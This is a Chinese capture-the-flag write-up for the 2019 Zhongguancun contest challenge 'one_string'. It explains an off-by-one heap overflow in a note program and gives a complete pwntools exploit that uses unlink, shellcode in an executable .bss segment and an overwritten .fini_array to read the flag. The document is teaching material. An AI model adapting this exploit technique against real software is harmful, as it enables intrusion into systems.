2019 网络与信息安全专项赛 pwn writeup

2019 中关村第三届新兴领域专题赛网络与信息安全专项赛 pwn writeup

0x01 one_string

程序分析

如图,32位程序,静态链接的,啥保护都没开,还有RWX(可读可写可执行)段,现在真是不常见了。

程序是静态链接的,功能上属于典型的堆题的记事本形式。简单调试识别后可以识别出主要的函数名。程序提供了add、delete、edit的功能。主要函数如下:

  • main函数

  • add功能函数

  • delete功能函数

  • edit功能函数(存在漏洞)

    红框的位置,如果add时申请content的大小是4字节对齐而非8字节对齐的大小,如0x1c这样的size,会存在内存复用,即下一个chunk的pre_size字段会给0x1c大小的这个chunk借用。那么如果edit时输入0x1c长度的字符串,字符串就会和下一个chunk的size字段连起来,这样sizeof()时,得到的new_size就会比原来的size要大1个字节或2个字节,取决于下一个chunk的size。这样就能够造成堆溢出

漏洞利用

我们可以通过上面edit函数中的漏洞做一个unlink,然后就可以控制到结构体列表,控制列表后就实现了任意地址写。接着往下图中具有可读可写可执行权限的.bss段中写入shellcode

我们注意到,main函数中输入4会调用exit()函数退出,而exit()函数会调用到程序中的**.fini_array中存放的指针指向的代码。因此将shellcode所在的缓冲区地址写入到.fini_array列表**中,main函数中输入4就可以触发shellcode读取flag了。

由于本题赛场环境时远程是不可以保持连接的,所以shellcode要用openreadwrite三个系统调用来读取flag并一次输出。详细的操作请看以下EXP,结合调试很容易就能明白。

完整EXP

题目原题是加了一个base64限制的,就是说要把payload用base64编码后一次性发过去,稍微修改一下下面的EXP,将payload存储到一个字符串里,编码远程发过去就行了。写本文时是本地利用的,因此这里的EXP删去了远程的部分,方便阅读复盘。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#-*-coding:utf8-*-
from pwn import *

p = process('./pwn')

def add(size, content):
p.sendline('1')
p.sendline(str(size))
p.sendline(content)
return '1\n'+str(size)+'\n'+content+'\n'

def edit(index, new_content):
p.sendline('3')
p.sendline(str(index))
p.sendline(new_content)
return '3\n'+str(index)+'\n'+new_content+'\n'

def delete(index):
p.sendline('2')
p.sendline(str(index))
return '2\n'+str(index)+'\n'

def unlink(shellcode):
add(0x78, 'b') #0
add(0x78, 'b') #1
add(0x78, 'b') #2
add(0x78, 'b') #3

add(0x74, 'a'*0x14) #4
add(0x78, 'b') #5
add(0x8, 'c') #6
edit(4, 'a'*0x74)
target = 0x080eba40+4*4
payload = 'aaaa' + p32(0x71) + p32(target-0x0c) + p32(target-0x08)
payload = payload.ljust(0x70, '\0') + p32(0x70) + '\x80'
edit(4, payload) #溢出,伪造chunk,覆盖下一个chunk的size域,将fake_chunk伪造成空闲chunk
delete(5) #触发unlink
edit(4, p32(0x080eba40))
edit(1, p32(bss1)+p32(fini)+'a'*0x10)
edit(0, shellcode)
edit(1, p32(bss1)*2)
p.sendline('4')

#open('flag')
shellcode = asm('xor eax, eax')
shellcode += asm('xor ecx, ecx')
shellcode += asm('push eax') #用空字节截断接下来的flag字符串
shellcode += asm('push 0x67616c66') #glaf
shellcode += asm('mov ebx, esp') #将flag的地址赋给ebx寄存器
shellcode += asm('xor edx, edx')
shellcode += asm('mov eax, 0x5') #系统调用号
shellcode += asm('int 0x80') #中断执行syscall

#read(3, buf, 0x30) 程序自带0/1/2三个文件描述符,新打开的flag的文件描述符应该是3
shellcode += asm('mov ecx, 0x080ebd84') #使用.bss段作为缓冲区
shellcode += asm('mov ebx, 0x3') #文件描述符,新打开的文件会取可用的最小整数(3)
shellcode += asm('mov edx, 0x30') #读取字节数量
shellcode += asm('mov eax, 0x3') #系统调用号
shellcode += asm('int 0x80')

#write(1, buf, 0x30)
shellcode += asm('mov ebx, 0x1') #文件描述符,stdout
shellcode += asm('mov eax, 0x4') #系统调用号
shellcode += asm('int 0x80')

bss1 = 0x080ebab5
fini = 0x080e9f74

unlink(shellcode)
p.interactive()

'''
edit ret = 0x08048ad0

fini_array : 0x080e9f74
List : 0x080eba00
content : 0x080eba40
got : 0x080ea000

bss1 : 0x080ebab5
bss2 : 0x080ebd84
'''

End of article
感谢阅读 ♪(^∇^*)

相关文章

评论区